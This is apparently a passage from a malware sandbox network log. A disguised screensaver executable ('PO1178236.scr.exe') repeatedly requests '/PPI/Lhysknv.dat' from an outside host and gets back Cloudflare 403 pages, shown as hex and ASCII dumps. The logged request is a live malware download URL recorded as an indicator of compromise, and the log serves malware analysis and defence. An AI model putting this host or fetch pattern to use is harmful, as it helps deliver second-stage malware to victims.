2025-01-09 07:29:08 UTC	1001	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=23terzVRganFqEAzwgB2Bu0BD68XNWLDy5ZcXXdGXQu7EqPQf%2F1lOusdfIlsoJVESDs5oTi7vnGo4A7Ge6ll8ECnzBrmaYnBIYcaKRkQctbjRYsqhm1qrvus9579RdwYotjlhYxk2qGT4rDe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6ed0962423a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1770&rtt_var=678&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1649717&cwnd=170&unsent_bytes=0&cid=3b6213dd8b8a6500&ts=125&x=0"
2025-01-09 07:29:08 UTC	368	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:08 UTC	1369	IN	Data Raw: 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: /title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-w
2025-01-09 07:29:08 UTC	1369	IN	Data Raw: 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 Data Ascii: ghlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-c
2025-01-09 07:29:08 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 65 64 30 39 36 32 34 32 33 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6ed0962423a</strong></span> <span class="cf-footer-separator sm:hidden">&bul
2025-01-09 07:29:08 UTC	994	IN	Data Raw: 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 65 64 30 39 36 32 34 32 33 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 Data Ascii: cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6ed0962423a',t:'MTczNjQwNzc0OC4wMDAwMDA='};var a=doc
2025-01-09 07:29:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49815	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:09 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:09 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UibVQ0liQvTB3YEqa2MFLpx61%2FLYuYq01bDEY120WL3QtZN4My42Ofmv%2B1KBVPLAM3HKBydIViTu4kYCReWqyxyHt6UNvHnYNT%2Bs4smSKquLYaP868evpHeN3AJbjR07A4VoGimd%2FqBxFNQu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6f0f94c4331-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1533&min_rtt=1518&rtt_var=599&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1780487&cwnd=235&unsent_bytes=0&cid=d680ea13deddf962&ts=154&x=0"
2025-01-09 07:29:09 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:09 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:09 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:09 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 66 30 66 39 34 63 34 33 33 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6f0f94c4331</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:09 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 66 30 66 39 34 63 34 33 33 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6f0f94c4331',t:'MTczNjQwNzc0OS4wMDAwMDA='};var
2025-01-09 07:29:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49816	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:09 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:09 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3DtJU1C2PKRiuxe704q9cdt%2BuaFJWfzN2FiO941%2Bxpz6K0usiEAFkZsRvqr5KiJTF%2Bt0kmRKK6Ih93F0XhkWhJPrnhRJMnU1UGjY2SHdVq80PB3a%2FUv6%2BS%2BWHK%2B1AnZXTQy1bm7jpmHMmyUE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6f4cd437c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1901&min_rtt=1894&rtt_var=724&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1495901&cwnd=228&unsent_bytes=0&cid=a5beda3357680c2b&ts=150&x=0"
2025-01-09 07:29:09 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:09 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:29:09 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:29:09 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 66 34 63 64 34 33 37 63 37 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6f4cd437c7e</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:29:09 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 66 34 63 64 34 33 37 63 37 65 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4f 53 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6f4cd437c7e',t:'MTczNjQwNzc0OS4wMDAwMDA=
2025-01-09 07:29:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49817	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:10 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:10 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:25 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZenENmJa23z1RGcqsXonKHj5fRPYXUCblmV8nqE7DZi3U8AagDqHwfeN8wBCkjUTJXstqONC%2FrUbvFWuFDyzYhk08TDhjvbZ9Kn2L16XFJJEcZ9cqgRW4ifS2xYLa%2BZnNClrfy3tl9oaaMFY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6f88da2427c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1709&rtt_var=646&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1685912&cwnd=246&unsent_bytes=0&cid=fac46e614ad89cda&ts=143&x=0"
2025-01-09 07:29:10 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 